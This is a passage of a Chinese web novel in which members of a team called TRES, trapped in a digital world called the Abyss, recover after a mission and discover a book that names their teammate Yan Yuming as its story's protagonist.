训练官:“邱任望。” 训练官脸上露出心疼:“你们两个孩子在这次的域里真的是吃苦了…” 她道:“你也知道,邱任望这次因为药物精神错乱,后遗症很严重,精神力是损耗最严重的。” 温知初:“他怎么样了?” 训练官:“万幸是在前几天他的生命体征稳定下来了,用不了多久精神力愈合了应该能醒过来。” 温知初的手指在瓷杯上缓慢地划动:“为什么这次我们精神力受损这么严重?” 两个多月的昏迷期,有些太过于吓人了,如果在域里待四天都会遭受这样的反噬的话,那以后怎么办? 训练官皱起眉头:“我们也没想到会这么严重…首先,你们在里面待的时间太长了,远远超过正常人在里面能待的最大值,所以后遗症才会这么严重,还有…” 温知初:“嗯?” 训练官:“更大影响因素其实是域里面的剧情,后台的监控数据显示,你们越深入剧情,精神就会越陷入域中,在里面的时候可能还感觉不到什么,等你们离开了域,就相当于将你们的精神力活生生从域里已经融合得很好的剧情里活剥下来,才会这么严重…” 训练官说到这里,立即说:“就先说这么多,你才醒来,不聊这么严肃的话题,其他更多的事,老钱会跟你们详细谈的。” 不过,就算只开了个话头,训练官所说的话足够让人警醒了。 与剧情融合、与域融合这种事…发散着去想…岂不是融合深到一定程度,就永远要被留在域里了,永远都出不来、醒不来了… 训练官转移话题:“对了,小温,这次我来其实是想告诉你一个好消息。” 温知初抬眼。 训练官点开终端:“恭喜你,等级有了显著的提升,直接横跨两个阶级,从E-86升到C-26了。” 温知初听到这句话后,望向自己的终端,愣了愣,难得露出笑容:“谢谢。” 034号狐疑地开口: [宿主,感觉你不像是会为升级这种小事而开心的人啊,升级对你是有什么特殊意义吗? ] 034号在温知初身边待了这么长时间,已经能明白温知初是一个身份神秘、实力不可估量的存在,升不升级似乎对宿主没有多大显性的提升,因为她原本就不受低等级的限制…所以…升级有什么值得在意的? 也没探查到升级给宿主带来了什么变化啊? 这个等级,既然和宿主的实力不相关…那么,会和什么相关呢? 034号思考着,它知道宿主肯定不会直接告诉它答案。 训练官喝完了瓷盏中的茶:“对了,我想起来了,Yu…” 听到Yu ,温知初抬眼。 训练官:“ Yu说如果你醒了,让人告诉他来着,我在群里@他一下” 对话被门口的敲门声打断。 “咚咚咚”的三声轻敲,高大修长的身影站在门外,望向落地窗旁的温知初。 “看来没必要发消息了。”训练官笑道,“说曹操,曹操到。” 晏逾明站在门口:“可以进来吗?” 他望着温知初:“我想跟你单独聊聊天。” 温知初望向门口,顿了顿:“请进。” · 夏日午后的日光真的很刺眼,穿透落地窗外的薄纱,洒在地板上,形成一块块斑驳的光影。 窗外的蝉鸣似乎也被曝晒过度,有些有气无力的。 落地窗旁的桌前依旧坐着人,只不过这次坐在温知初对面的,成了晏逾明。 晏逾明斜着坐在椅子上,慵懒地往后靠,他盯着温知初:“身体怎么样?” 他望向她的眼神,永远这样有别于他人,深深的、不断深入的。 温知初安静地回答着:“多谢关心,身体现在很好,没有任何不舒服。” 晏逾明:“精神力方面?” “恢复好了。”她道,“一切正常。” 明明很正常而普通的对话,不知为什么,两个人的身体语言和身边的气氛都紧绷着,难言的氛围随着日光在光影间斑驳。 试探的,不明所以。 兀然,他开口:“你是讨厌我么?” 温知初下意识地摇头,眼神有些茫然,不知道他为什么这么问。 晏逾明略微俯身:“那为什么总是避开我的眼神。” 永远不和他对视。 日光晒得耳朵发烫。 温知初抿了抿唇线,温和地抬眼,和晏逾明对上眼神:“没有…” 是…太阳太刺眼…还是…该怎么说… 两人对视着,大概有一分钟左右,谁都没有说话,谁也没有动,只是这么对视着。 晏逾明的唇角略微提起:“开玩笑的。” 温知初垂下眼,修长的手指不自然地蜷缩,略带配合地笑了笑:“嗯。” 晏逾明:“班长和副班长的关系太僵了,我担心你真的因为剧情讨厌上我。” 温知初:“剧情是剧情,我们是队友,我能分得清的。” “真的能分得清剧情和现实?”他继续盯着她,若有所思,“那为什么在综合楼要那么拼命?” 温知初一下没反应过来话题的改变:“嗯?” 综合楼… “我看了后期你在综合楼的视频…电梯坠落的事你没说,受伤的事你没说,综合楼那么多丧尸的事你也没说,差点从天台摔下去你也没说。”晏逾明说话的语气漫不经心,眼神却愈发淡漠。 理由不明。 晏逾明:“为什么要一个人承担这么多?” 034号看不明白两个人在聊什么。 它觉得宿主好像只有在面对晏逾明的时候,才会有种掩藏得很好、包裹在平静下的局促。 宿主似乎不知道该怎么回应。 温知初确实不知道该作何反应,她无法推测出晏逾明为什么要问这个问题。 很多时候,她也无法推测出他人的想法,不过她并不在意。但现在坐在她对面的,是晏逾明。 什么意思… 是觉得她选择错了么…没有团队精神…还是太冒进了… “对不起…”温知初已经开始想要道歉了。 “为什么说对不起?”晏逾明打断她的话,“完全不是你的错。” 他的手指无节奏地敲击着桌面,开口:“我只是觉得…为什么?” 不是道德E么?不是上辈子那么毫不犹豫地将人推入深渊么? 为什么现在所做的一切… 温知初:“我当时没想这么多,只是觉得我自己一个人去,是最适合的,也是当下唯一的选择。” 她道:“我想,如果是你来处于我这样的处境,你也会这么做。” 不。 他不会。 晏逾明沉默地盯着她,日光勾勒他英挺到过分的侧脸轮廓,眼神交错中,有一瞬间,他的眼神蕴含着难以言说的探究。 片刻后,他望向窗外:“今天天气不错是不是?” 温知初顺着他的视线往外看,因为话题的转移略微松了一口气。 她其实害怕他继续说下去…她害怕把话说得太清,她不知道该如何回答。 她希望他们之间的距离永远停留在之前一样,表面平和,内里疏离。 不要靠近,不要理解。 说得太明白了,总有人会受伤,现在这样的隔阂,才能抵挡<深渊>打开属于他们之间的潘多拉魔盒。 两个人之间是此消彼长的关系,现在的距离,不远不近,正好。 就这么装糊涂吧。她有必须要完成的事。 “嗯。”她道,“天气很好。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 黄昏的光线像是被稀释过的蜂蜜, 缓慢地在房间的地面上流淌。 窗外,偶尔几声鸟鸣。 这里没有丧尸。 落地窗旁,早就只剩下温知初一个人,夕阳的余晖从她的身后洒进来,将影子拉长。 温知初慵懒地倚在椅子上,手中攥着从脖颈上摘下来的项链,目光落在军牌的数字上,眼神有些恍惚。 手指无意识地敲打军牌的表面,若有所思,如若在给沉默的思绪打着节拍。 在宿主独处的时候, 034号也在深思。 宿主的升级让它的系统随之升级了,以前看得模模糊糊的事情,它似乎也能更全面地分析。 有关宿主和男主的关系。 归纳整理后,它得出不少结论。 首先,宿主说过她和男主之间的关系此消彼长,它现在能清晰地明白这是什么意思。 宿主加入TRES的原因之一,是靠近晏逾明,因为只有靠近男主,从男主身上汲取剧情所规束的能量,她的深渊等级才能以此为触发,于通关SS域后升级,要不然,无论宿主锻炼、厮杀多少,都会永远停留在E级。 但是如果太靠近男主,让男主产生了亲密的感情连接,无论是友情亦或是其他深度的感情,都会一定程度上地对男主造成负面影响。 是这种意义上的此消彼长。 那么问题来了,为什么宿主只有在男主身边才能汲取能量,为什么他们之间会此消彼长… 034号以前不明白,但是它现在有所猜测。 《深渊》的原著里,虽然宿主只是个出场仅一次的配角,但却是《深渊》实打实的一把刀,是唯一能杀男主的人。 以前总觉得原著荒谬,为什么一个刚刚出场的配角能刀主角,绑定宿主后才明白,这个配角就算是E级也有着让人觉得恐怖的能力。 从某种程度上来看,宿主就像是书中的大反派,而反派和主角之间,往往只能存活一个,是从立书起便相互抵触的、此消彼长的存在。 它的老东家剧情显然对这两个人有天然的约束,只要剧情存在一天,他们天然就是相对的、相反的,此消彼长的。 但是…宿主是如何把握这个规则、这种约束,知晓一切的呢? 这是很恐怖的一点,如果它能知道宿主的真实身份和人生经历,也许能分析出答案,恐怖就恐怖在,就算系统升级了,034号也无法搜索出有关任何有关宿主的身份信息… 它可是系统啊… 就算是男主的生平,它都能尽数搜索出来,为什么宿主不行,她到底是什么身份? 034号也明白了许多其他的事。 它猜想,男主的重生,剧情的崩盘,或多或少和宿主有一定的关联… 《深渊》的原著,男主死得那般潦草,它甚至开始怀疑宿主是故意将他推入深渊的… 宿主是为了升级才加入TRES 、才靠近的晏逾明的,那么…升级到底能给宿主带来什么吗? 她肯定是为了什么目标才在进行着这一切的事。 034号不断猜想着。 为了晏逾明? 为了逃离《深渊》? 亦或是…为了逃离<深渊>? 似乎都说得通,似乎都接近真相。 晏逾明对于宿主到 底意味着什么,到底是怎么样的深刻的羁绊,足以让宿主做到这种程度? 034号这么想着,把疑问尽数说出口。 温知初安静地听着034号的絮絮叨叨,军牌已经被她挂回了脖子。 听完后,她撑着侧脸,漫不经心道:“你真的升级了。” 034号语气很骄傲:“当然。”宿主这么说,肯定是它基本上都说对了。 温知初:“最后一句话错了。” 她道:“我做到这种程度不是为了Yu…更多的是我想这么做。” 换句话说,是因为一些事,她看到了、她经历了,所以她选择做一些事,去停止那些不好的事。 她道:“就当我想要逃离深渊吧。” 当然,Yu对她而言,确实很重要。 不过这种重要,确实不同于友情、队友情亦或是任何感情,对她来说,是某种特别的羁绊,独一无二而深刻。 034号好奇: [那是什么样的感觉呢? ] 温知初道:“我第一次知道他的时候,我有一种感觉。” 落地窗内,声音低低的。 她趴在日光照着的桌子上:“我觉得我在照镜子。” 她和他,从某种不可说的意义上来看,真的很相似。 以至于相似到此消彼长。 · 034号还想知道更多的事,不过它知道自己不会得到答案的。 这次宿主能告诉它这么多,它已经很意外了,毕竟宿主还需要提防着它的老东家剧情。 卧室内没有开灯,风从落地窗的缝隙内吹进来,吹得窗帘轻微晃动。 光影若隐若现。 黄昏快要结束的时候,终端亮起,一条消息在群里弹了出来,和十九点的钟声一起响起。 Q:[我醒了。 ] Q:[哭泣小狗表情包] Q : [为什么我身边一个人都没有,怎么都已经八月了… ] Q:[@Wen 恩人,你在哪里,我要见你。 ] Q:[哭背过气小狗表情包] 昏迷两个多月的邱任望终于醒过来。 他一醒来就感觉全身上下都在作痛,手臂和脖子都被包裹着纱布,没恢复好的左眼也斜绑着绷带。 他缓慢地坐直,茫然地看向一片漆黑的房间。 他把手背上的吊针摘下来,像是想起了什么,突然喊出声:“小温…” …… ! 昏过去的最后一个画面,他是被温知初拽住的,两人吊在综合楼上,下面是丧尸堆,他们摇摇欲坠…那么她…没事吧! 在邱任望从床上摔下来之前,训练官和教练急匆匆推开了门:“你醒了就醒了,有必要这么大动静吗,好好躺着,别把伤口又弄裂开了。” 老钱很激动:“终于醒来了,你小子命可真大啊!” 邱任望被按回床上,依旧很倔强地要下床:“妹妹…小温她…” 老钱:“她没事,你这么着急干什么…” “没事?”邱任望这才安静下来,“没事就好…没事就好…” 他缓慢地吐了一口气,颇有些劫后余生的感觉。 邱任望醒来这件事很高调地在群里传开了,作为被重点@的人,温知初站起身,走出房间,去二楼看他。 天气很热,不过别墅里空调打得很低,她穿着一身黑T长裤下去了。 邱任望的房间门开着,房间里站满了人,有从其他地方赶来的非主队队员,也有一些温知初从来没见过面的技术人员… 邱任望的人缘很好,来探望的人非常多。 温知初站在门口,在拐角处站着,等里面探望的人逐渐走出来,人都散了后,她才站直身,往房间里走。 她一走进去,一声“小温!”非常响亮地从邱任望的口中爆发出来。 不夸张的说,温知初从来没见过这么亮的眼睛。 邱任望现在和他经常爱发的那个金毛表情包很像,卷毛的、眼睛发亮的、充满由衷的情谊的。 他不用开口,温知初已经能感受到他的感激之情。 邱任望已经说不出话来了,他看着温知初,想起自己在第二轮SS域里所经历的一切,嘴里往外冒着感叹词。 “哇…温知初…哇…小温…哇…!” 千言万语化为一句感谢,邱任望表情变得严肃,他由衷地开口:“温知初,谢谢你。” 邱任望:“小温,以后我的命就是你的了。” 温知初:“……” “不是这么严重的事,我们是队友。”她略微颔首,“本来就应该互相帮助,你的生命是你自己的,不是任何其他人的。” 邱任望眼泪汪汪地望着温知初,感觉随时都要哭出来了,对于这种过于外露的性格,温知初往后退了一步。 站在一旁的老钱走过来,笑着摇了摇头,朝温知初说:“小温,他这人就是这么个性格,性格比较外露,喜欢表达。” “确实有点儿夸张了。”老钱看完温知初后看向邱任望,“这次你确实该感谢小温,不过你自己的命还是你自己留着吧,别随便给别人造成负担。” 邱任望:“你们是觉得我的承诺很虚吗…那我来点实的?我把我的所有财产给小温。” 说着,他点开终端:“小温,你的银行账户多少,你发过来,我…” “你什么你!”老钱抬手给邱任望一个暴栗,“都让你不要给别人这么大负担了!” 温知初坐下,平和地开口:“真的没必要这样,你能健康恢复就行了。” 邱任望以一种欣赏和崇拜交错的独眼状态看过来,眼睛发亮。 温知初:“……” 门外传来脚步声,TRES的几个成员一起来了。 他们从训练基地过来,中间耽搁了些时间。 其实大家内心或多或少肯定都很激动,但都不是邱任望这种外放的性格,走到他床边,用力地拍了拍他的肩。 将铭:“醒来了就好。” 邱任望撇嘴笑了笑,表示自己没什么大问题,不过在看到人群中的晏逾明,他像是想起了什么,表情异常地僵硬了一瞬。 章诎走到温知初身边,低声解释道:“我们刚才先去看你的,你不在房间,才知道你来二楼了…” 照应着新队员的心情。 他问:“身体好些了么,能走动了?” 温知初轻微颔首:“完全没问题,已经可以参与训练了。” “老钱,你是魔鬼吗?”邱任望开口,“他们几个人不是也没醒来多久吗,你就已经让他们开始训练了?” 老钱抱着双臂:“你以为我想这么赶,没时间了啊,不久后就是第三轮域,醒了就得赶紧训练…算了现在不说这些,明天开会,统一复盘。小温明天恢复训练,你也明天!” 邱任望抱住脑袋:“我要告发你,我要告到中央!我要告到联盟…” 邱任望当然也只是在开玩笑。 TRES里的队员,无论性格如何,肯定都是争强好胜的人,有了这次比较惨痛的经历,难免会更不服气地想要挑战回去。 他比谁都更像早点恢复训练。 成员们在房间里说了会儿话,到晚饭的时间,逐渐走人。 温知初垂眼看了眼终端上的时间,也准备离开,被邱任望喊住了:“小温。” 他抬头:“还有Yu哥,你们能不能留一会儿…” 坐在窗边的晏逾明漫不经心地抬眼:“找我们有事?” “嗯。”邱任望道,“有正事。” 房间的门被关上,只剩下他们三个人。 “那个…”邱任望坐在床上,欲言又止,似乎在想到底要不要说。 “你们也知道…”他最终开口,“我这次在域里面,因为吃了不正常的药,经历了一些不太正常的体验,看到了…幻觉…” 温知初重新坐下,安静地听着:“嗯。” 邱任望抬头:“但我感觉好像我看到的好像不是幻觉。” 人们总说,濒死体验会让人身处的维度变换,看到一些接触不到的真相或是维度的边界。 在域里一直喊着放开我放开我放开我的邱任望,经历了一场非常真实的痛苦。 晏逾明:“你是说你的身上真的长满了眼睛?” 邱任望:“不是,这个肯定是幻觉。”是痛苦的一种拟象现象。 他望向温知初:“我当时意识不清的时候,我已然不是我了,我感觉自己像是变成了另外一个人,经历他的痛苦,走不出来,也不知道该怎么走出来,从未经历过这些,一切都很荒诞,所以才会那么难以恢复清醒…” 温知初:“你是说高三四班的那位美术生?” 邱任望望了望晏逾明,又望了望温知初,“不是…” 他再次欲言又止:“我其实当时在幻觉里,觉得自己是…” 他停下了话。 停顿动作,他从枕头下摸出了一本书,“可能是因为在域里经历了濒死体验的原因,我出来的时候,这个东西和我一起出来了。” 书名写着两个字—— 《深渊》 这本书出来后,卧室内瞬间陷入了沉寂。 邱任望开口:“我当时觉得自己成了《深渊》的男主…” 他眼神游移地望向晏逾明,“那个…无时无刻不被剧情控制着,无时无刻都感觉到窒息的男主。” 那种感觉,就像是本来一个正常的普通人,身体里无端长出无数眼睛,布满全身上下,监视他生活的每一分每一秒,控制他所有的行动、话语和生活。 我已然不是我。 而这本书的主角栏上,清晰地写着三个字。 晏逾明。 第52章 卧室内,大概有五分钟是彻底沉默的。 邱任望紧张的眼神在晏逾明和温知初之间徘徊。 而话题的主人公,晏逾明本人,他倚在椅背上, 出乎意料地依旧漫不经心, 像是人生已经经历过太多意外, 已经对这种意外无法起任何反应了。 温知初垂着眼,光看外表,只觉得她的表情淡淡的,似乎对邱任望的话有些不相信的态度。 这是她想展现出来的一种表现。 对于《深渊》的出现, 她其实也不是很意外。 毕竟剧情这种存在, 必定会通过各种形式,来搅浑这池水。 就算不以这种形式介入, 也会以其他形式来宣告存在感。 唯一觉得有些慌乱的是这个时间点。 当下。 她和事件的主人公同处一间房间内,刚刚经历过下午的一场意味不明的谈话。 这意味着她还得装糊涂。 她其实不太擅长做这些事, 也足够让人觉得疲倦。 邱任望这才意识到自己的队友有多淡。 他想象中这两个人的反应,不说惊吓到跳起来,但起码说些什么、表情动一动吧。 结果,卧室里唯一在动的,只有电脑桌上光屏的熄屏图标,缓慢地在熄屏页面上游动。 邱任望:“……” 两个淡淡的狠人。 难道世界有可能是本书这件事不够震撼吗? “世界当然不可能是本书。”温知初开口。 他们所有人都在域中也经历过剧情。 所谓剧情,所谓书, 是命运的一种抽象的表现形式, 人们通常称之为宿命。 而《深渊》, 是一本可见的、可以改变的宿命。 是时间、人物、事的构成的某种不准确的、不规律的、笼统的集合。 放在早些时候,也许会被称之为谶书、预言之类的。 具体意义上,我们身处的世界只是本书是绝对的以偏概全。 邱任望:“我知道,我就是这么一说嘛…我们这种维度的理解,只能将之称之为书了,没有更多的表达方式了。我们在域里所做的,其实也就是在对抗剧情不是么…” 邱任望说着说着不知道该说些什么了,他先望向温知初:“小温,你是知道些什么吗,一点都不惊讶?” 晏逾明也望向她。 温知初顿了顿,她轻微地摇头。 因为不擅长撒谎,她先沉默了段时间,而后开口:“这本书和TRES有关?” 邱任望歪了歪脑袋,道,“可以说一点关系都没有。” 034号比温知初着急: [宿主,再多说些什么把,你现在反应太平淡了,男主绝对会怀疑你的… ] 它着急了会儿又觉得: [但其实你一直都这么淡淡的…而且我感觉男主早就开始怀疑你很异常了… ] 和034号同样觉得氛围不对劲的还有邱任望。 他留下这两个人,是因为这两个人都出现在《深渊》这本书里,怎么都是这个反应,难道真的一点都不好奇《深渊》里讲的什么吗? 温知初抿了抿唇线:“这本书里也有我?” 邱任望用力地点头:“不过戏份很少。”虽然少,但留下极其浓墨重彩的一笔剧情。 邱任望:“你不知道这本书的存在?” 温知初略微摇头,她偏开了视线。 邱任望望向晏逾明:“Yu哥…” 他觉得Yu哥肯定知道。 因为他在域里所经历的那种浑身长满眼睛、被控制的痛苦,绝对不是空xue来风。 男主一定知道。 一直沉默着的晏逾明将目光从温知初身上抽离,他开口:“我知道。” 温知初望向他。 晏逾明同她对视,重复了一句:“这本书里的所有内容,我都知道。” 邱任望的眼睛立马就亮了。 男主竟然就在我身边,那些小说网站上的热门题材竟然会实际地发生,这么神奇… 这种兴奋在他联想到自己在域中的痛苦后,立即被压制了下去。 当男主,被剧情控制,一点没有什么值得兴奋的。 所以…Yu哥的生活真的和他在域中所感觉到的那样窒息吗? 真的痛苦到就像浑身都长满眼睛、想挖其血肉么… 为什么《深渊》里写的剧情和Yu现在的经历并不一样,按照剧情,根本就没有TRES的存在… 邱任望有很多问题想问。 晏逾明打断了他:“书的事,你只告诉了我们吗?” 邱任望的神情尴尬了一瞬:“因为这件事其实很重要,毕竟和域相关,我已经告诉教练了,教练估计会找技术人员研究背后和<深渊>的联系…” 他开口想道歉。 “你做的对。”晏逾明开口,“毕竟东西带出来了,有研究的依据。” 他站起身:“既然已经准备研究了,具体的事,等明天开会再详谈?” 邱任望立马点头:“好、好…” 他硬生生压制住自己所有的好奇心。 温知初还有些愣地坐在原处。 晏逾明往外走的步子停下:“不去吃饭?” 温知初意识到他是在喊她,站起身。 “来了。” · 这天晚上,温知初失眠了。 除了在域里,034号第一次看到温知初没有按时入睡。 那雷打不动的生物钟终于失效了么? 黑暗的房间里,一丝灯光都没有,宿主坐在落地窗旁,有些燥热的夏夜晚风从窗户外吹进来,宿主坐在椅子上,沉默地往外看。 别墅外玻璃房的花灯开着,隐约照进来不平稳的光影。 宿主就这么安静地看着窗外的夜景,任由窗外的光影在她的脸上、身上缓慢地划过。 楼下传来的花香有种白天被晒得太过头的馥郁,香得让人无法集中注意力。 在风中轻微晃动的窗帘就像某种逐渐要拉开序幕的答案…到底要不要拉开…还是阖上… 一向话很多的034号也缄默于夜色中,一句话也没说出口。 很多时候,它都觉得神秘莫测的宿主像某种易散的幻影,因为没有人知道她的来处,所以消失好似变得…很容易。 如天边的云彩或是深山的雾,轻轻一吹,就散了。 就这般静默着,直到晨光照了进来。 五点一到,宿主就起身了,规律性洗漱、沐浴,换上队服去训练场。 这个人的心中有一种早就被训练得完备的秩序,轻易不会被打乱,除非因为某个人… 天还黑着。 · 下午四点之前,分布在各个训练场馆的TRES的队员们收到了群里的通知,从场馆离开,回到主栋别墅。 开会。 温知初放下手上的刀,从训练道上翻身而下,挎上背包离开。 她不是第一个到会议室的,她推门而进的时候,队员几乎都到满了,老钱已经站在斜前方的讲台上调整光屏。 她颔首和队员们打招呼,按照习惯坐到斜后方的位置。 比起上一次比赛结束后,这次的会议室氛围显然严肃很多,甚至有些压抑,教练在前面和训练官们说着什么。 温知初打开本子,把笔放上去。 会议室的门再次打开。 晏逾明依旧最后一个到,他的视线在会议室内淡漠地扫过,高大修长的身影往后走。 温知初身旁的椅子被拉开,晏逾明在她身旁落座。 他似乎总是会和她坐在一起。 晏逾明坐下:“训练怎么样?” 温知初低声回答:“挺好的。” 晏逾明:“还是老钱在带你?” 温知初:“嗯。” 就这么多话了,角落重新变得十分安静。 人到齐了,会议室里的灯太亮,被老钱关了一排,训练官们暂时先退出去,留下教练和队员们单独相处。 老钱轻咳了一声,表情很肃然。 第一句话就让会议室的氛围变得凝滞:“我们来谈谈《深渊》吧。” 是《深渊》,不是<深渊>。 “事发突然,但想必大家都知道了。”老钱望了一眼晏逾明,“Yu…” 队员们全都望向他。 晏逾明漫不经心地抬眼:“没事,讲吧。” 投影的光屏上,映照出《深渊》的内容。 钱丰:“《深渊》这本书,是邱任望在经历过濒死体验后,从域里带出来的。” 他切换幻灯片。 上面写着一行字:为什么能带出来? 钱丰:“其实无论出于什么原因,什么机理能带出一本《深渊》,不重要,重要的是剧情…就称之为剧情吧…剧情为什么要在这个时间点,让我们所有人知道《深渊》的存在,在暗示着什么,或是引导着什么?” 大家都是经历过剧情的人,没有人觉得剧情会是出于什么好意把《深渊》展露出来。 章诎:“可能是想打乱我们的思路吧,让我们觉得无论我们做什么,还是会指向不好的结局…还有可能,是让我们去…埋怨这本书的主角。” 无论是什么书籍,被针对的、被挑剔的、被要求的最多的永远是主角。 被贯以天命之子的主角好像受尽了作者的偏爱,所以他或她做什么都要被架上高台,去审判。 可主角也不是主动愿意成为主角了。 也没有人去在意,这个主角是否愿意成为作者笔下的几乎道德完美行为完美稍有不慎就会从高台滚落的假人。 邱任望开口:“我是这么觉得的,小温之前有句话说得挺好的,世界不可能是本书,《深渊》是一种事情、人物、时间的不准确的集合,以我在域里的体验来看,我觉得成为《深渊》这本书的主角,就像被剧情诅咒了一样,我的所有行为、思想、生活都被控制着走向非我本愿的道路,我不再是我自己。” 《深渊》的主角,简直就是被剧情挑中的倒霉蛋。 哪怕是个人设很好、道德S的伟正光。 不停违心地去原谅不好的事、不停地牺牲自己去拯救其他人、不停地受伤、不停地被他人背叛…不停地无法做自己。 就像身体里长出无数眼睛,剧情监控般的眼睛、世人审判般的眼睛。 剧情就是一座牢笼,牢笼里只能做他人认为你才能做的事,只能按照他人的想法去活,牢笼外,是无数双五颜六色的眼睛,只会抒发他们想要的情绪。 那么…剧情包裹中的人物…他、真正的他…又在哪里…又能在哪里。 邱任望:“所以当时我才会不停地说放开我放开我…因为我觉得我的脑海快要炸了,我觉得头痛欲裂,我觉得全身上下所有的皮肤都不属于我…” 成为《深渊》主角的感觉,就像被无形的剧情扼住了喉咙,不停挣扎、无法挣扎。 快要窒息。 邱任望说出这些话,是因为知道按照晏逾明的性格,绝对不会把自己的所想所感说出来,所以把自己在域里所有的感觉都说了出来。 会议室后排。 果然,晏逾明慵懒地倚坐着,看着光屏上的内容,就像在看其他人的故事,轻描淡写道:“是这样。” 他道:“大概就是类似的感觉。” 这不是虚假的轻描淡写,是真实的已经不在意,从他的眼中,早已无法看到任何痛苦的流经。 已经过了太久。早就无足轻重。也许在曾经、很曾经的时候,他在意过。 温知初放在桌下的手不经意地攥紧。 曾经是《深渊》俯视他,过了这么多年,发生了这么多事,晏逾明… Yu…已经不是曾经那个被控制的他,他已然可以去俯视《深渊》。 温知初侧过脸,长久地盯着晏逾明,他似乎察觉到她的目光,朝她看来,温知初收回自己的视线。 会议室里纷杂的情绪因为晏逾明冷静的话而降温。 没有时间去回忆、去追讨或是去怜悯、愤怒于什么,他们的目的只有一个,逃离<深渊> ,恰如主角逃离《深渊》一样。 所以《深渊》的出现成了一个新的线索。 老钱:“既然从域里带出来的是《深渊》,再加上我们经历的域里也有剧情…这是不是说明…” 将铭接上话:“抽象意义上讲,域里面的那个剧情存在和《深渊》的剧情,是同一个无形的存在。” 这种无形的存在,不知道因为什么原因被摧散了,所以《深渊》失效了,其主角挣脱原有的宿命,拥有新的人生,但是剧情显然不是这么容易彻底消失的。 《深渊》利用<深渊>重新回来了,剧情寄宿于电子废土,更大野心地想把一切都吞噬殆尽。 这听起来实在不是个好消息,会议室内的气氛愈发消沉。 因为敌人是无形而难以预测的,是庞然的,而他们,有形又容易被观测。 以后的域,他们要拿什么去拼?敌人不止是敌方,还有能控制他们的深渊。 老钱咳了几声:“好不容易有新线索了,大家怎么这么消沉,再这么负面下去,不就正着了《深渊》的目的吗?” 《深渊》的出现,是一个正式的宣战和挑衅。 它在宣告,它回来了,以更汹涌的姿态,窥探着他们所有人的躯壳和生命。 老钱:“我觉得深渊不是无法堪破的,无论是我们现在身处的<深渊> ,还是所谓《深渊》剧情,如果深渊真的无所不能,那么就不可能有我们的存在,我们这些弱小的存在早就死了,就算活着,也无法自由的意识。” 如灵魂存在,说明深渊其实也有很多漏洞,它无法全知全能,所以曾经崩坏过,现在又得依赖于许多限定条件而重整旗鼓。 “还是老话。”老钱道,“我们在<深渊>里困了五年了,无论因为电子剥离还是杀戮赛,死了很多人…死了太多人,我们身边的亲人、朋友、队友离开了很多,但我还是相信,我们能走出去。” “以及,我们一定要走出去。”老钱说,“这才是我们TRES存在的目的,也是我们非得去申请SS赛的意义。” 之所以冒着失去生命的风险,去经历这一切,不就是为了拼一条大家都可以离开的路、拼一个没有电子剥离、没有杀戮秩序的明天么… 老钱拍了拍手:“士气别给我down下去啊。” “没呢。”邱任望活跃气氛。 老钱点头:“这次你把《深渊》带出来,算是给我们带出了一个好消息和一个坏消息。” 好消息是敌人再怎么庞然也是有边界有限定,不是无所不能的,是曾经崩坏过、可以改变的。 而坏消息是…没有人知道怎么才能让它再次崩坏。 老钱:“Yu…” 他望向晏逾明:“当时你怎么脱离《深渊》既定命运的,不可知吗?” 晏逾明:“死了一次,再次醒来后《深渊》的秩序就乱了,时间和剧情都崩坏的,虽然不知道我原来经历过的那几年是被覆盖了、还是消失了,但我醒来后,回到了时间点的六年前,剧情丧失对我身体的控制。” 时间错乱,抽象意义的重生。 这种未解之谜,对于他们来说倒不是关注的重点,重点是剧情是如何崩坏的。 将铭:“听起来有点像游戏存档重开的感觉。” 老钱:“总不可能是剧情自己崩坏了,肯定是有外因的,那么这个外因到底是什么呢…” 可惜没有更多的数据可以参考。 [不是… ]034号: [宿主,怎么他们一句都没有提你啊。 ] 034号: [死亡这么重要的节点,你参与了结尾啊,怎么没一个人提到你的,难道他们不知道男主死亡的原因吗… ] 确实没有一个人提起她,就好像她和《深渊》毫无关系。 温知初察觉到异常,手中缓慢转动的笔抵在本子上,她拿起桌上摆着的那本《深渊》,往后翻,一直翻到结尾。 故事和原来的一模一样…但是… 倒数第二张不见了。 她出现过的那张短暂的两页,被人细致地撕去,没有留下更多的痕迹。 结局男主的死亡,只剩下坠入深渊的描写,那道将人推入深渊的人影,消失了。 抵在本子上的水笔在纸张上洇出个墨点。 温知初顿了顿,她望向坐在她对面的邱任望,他朝她笑了笑,指向自己手腕的终端。 终端上弹出消息。 Q:[Yu哥说那两页被撕掉比较好,让我撕了。 ] [不。 ]034号道, [男主才不会这么好心,他大概率嫌麻烦,不愿意太多人介入自己想要处理的私人恩怨中。 ] 终端的屏幕熄灭。 034号好奇地问:[宿主,剧情崩坏的外因你知道吗? ] 它也就是这么一问,没有想得到答案。 温知初:“我知道。” 034号: [哦你不知道…什么?你知道? !你真的知道? ! ! ] 温知初:“嗯。” 034号: [ 《深渊》是我的老东家…我都不知道它为什么崩坏了…宿主,你知道你为什么不说出来啊?说出来你们不就能增加找到突破口的可能性了么? ] 这话但愿老东家听不见。 温知初修长的手指抵在本子上:“它听得见。” 她道:“我们之间说的所有话深渊都能听得见。” 她的神情浅淡:“它应该也很好奇它到底是怎么崩坏的,所以才会派你来绑定我。” 034号立马紧张起来: [它听得见?它在哪里?啊!别吓我啊。 ] 034号: [所以不说出口,就是不想让它通过你知道自己的弱点吗…啊,真的在听吗…好吓人。 ] 确实不能说出来,说出来了不一定能成为TRES的突破口,但一定能成为《深渊》的突破口。 034号: [深渊难道真的无所不在么… ] 无形的深渊,无所不在。 会议室里,话题已经换成了另一个。 事实证明,TRES的队员果然很细心。 将铭拿起《深渊》:“这本书好像被损坏过了,倒数第二张不见了。” 其他队员凑过来:“果然是啊…” 邱任望愣了愣:“……” 他阴阳怪气地拍了拍将铭的肩膀:“将队,你好细心啊…” 狠人,看书这么仔细,防不住啊防不住。 他抱歉地望向对面的温知初。 温知初略微摇头。 不算什么事。 将铭望向邱任望:“被你撕了?” 邱任望想说些什么,被晏逾明打断了:“被我撕了。” 众人望向他。 晏逾明漫不经心地抬眼,他望向教练:“这一张写得是死亡前的一些不太体面的描写,我擅自撕去了,应该没问题吧?” 老钱愣了愣:“…当然没问题。” 如果仔细听老钱的语气,会发现他现在对晏逾明说话,比以往还要多出几分敬畏。 因为他昨天看《深渊》的时候,对书里牵扯到的人物进行了搜索,随之发现了一个事实。 书里但凡背叛过、或者对男主做出些伤害的人,无一例外,都已经死了,而且死状十分凄惨,大多都经历过长期的死前折磨。 这不禁让他想起在一楼放着的那个上面画了无数斜杠、纸质版的日历。 他记得现在那个日历上,好像只剩下一个日子还画着红圈了。 